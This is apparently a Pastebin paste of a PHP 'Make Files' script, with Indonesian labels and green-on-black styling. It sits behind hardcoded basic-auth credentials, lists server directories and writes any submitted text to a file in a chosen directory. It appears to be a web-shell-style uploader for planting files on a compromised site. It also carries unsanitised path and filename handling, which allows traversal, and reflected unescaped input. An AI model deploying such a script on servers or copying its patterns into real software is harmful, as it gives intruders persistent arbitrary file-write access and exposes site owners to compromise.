Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- //cek session
- session_start();
- if(!isset($_SESSION['user'])){
- Login();
- }
- //login function
- function Login(){
- $user = "rieqy";
- $pass = "maho";
- if(!isset($_SERVER['HTTP_AUTH_USER'])){
- header("WWW-Authenticate: Basic realm=\"RieqyNS13\"");
- header("HTTP/1.0 401 Unauthorized");
- exit;
- }
- if(($_SERVER['HTTP_AUTH_USER'] == $user) && ($_SERVER['HTTP_AUTH_PW'] == $pass)){
- $_SESSION['user'] = $user;
- header("Location: ".$_SERVER['REQUEST_URI']);
- }
- }
- //Jika Session sudah diset, kode di bawah akan dijalankan
- date_default_timezone_set("Asia/Jakarta");
- $result = null;
- $judul = null;
- $codes = null;
- if(isset($_POST['btnSubmit'])){
- if(empty($_POST['txJudul']) || empty($_POST['txCodes'])){
- $result = "Judul atau kotak area masih kosong";
- $judul = trim($_POST['txJudul']);
- $codes = trim($_POST['txCodes']);
- $date = null;
- }else{
- if(isset($_POST['dir']) && !empty($_POST['dir'])){
- $judul = trim($_POST['txJudul']);
- $codes = trim($_POST['txCodes']);
- $dir = $_POST['dir'];
- $result = "Disimpan di direktori ".$dir."<br>";
- $handle = fopen($dir."/$judul", "w");
- fwrite($handle, $codes);
- fclose($handle);
- $date = date("d-m-Y h:i:s");
- }
- }
- }else{
- $date = null;
- }
- ?>
- <html>
- <head>
- <title>Make Files</title>
- <style type="text/css">
- body{
- background:#000;
- color:#0F0;
- font-family:"Courier New";
- font-size:13px;
- }
- table td.xxx{
- text-align:right;
- font-size:14px;
- }
- input, textarea, select{
- border:solid #888 1px;
- font-family:"Courier New";
- background:#000;
- color:#0F0;
- }
- </style>
- </head>
- <body>
- <form action="<?php $_SERVER['PHP_SELF']; ?>" method=POST>
- <table>
- <tr><td class="xxx"><label for = "title">Judul :</label></td><td><input value="<?php echo $judul; ?>" type="text" size="50" name="txJudul"><input value="Generate"type="submit" name="btnSubmit"></td></tr>
- <tr><td class="xxx"><label for = "title">Lokasi :</label></td>
- <td><select name="dir">
- <?php
- $dir = ".";
- $dh = opendir($dir);
- while (($file = readdir($dh)) !== false) {
- if(is_dir($file)){
- echo "<option value=$file>$file</option>";
- }
- }
- closedir($dh);
- ?>
- </select><label for="Result" style="font-size:13px;"><?php echo $result; ?></label></td></tr></table>
- <label for ="saved"><?php echo "Disimpan pada ".$date;?></label>
- <br>
- <textarea rows="50" cols="100" name="txCodes"><?php echo $codes; ?></textarea>
- </form>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement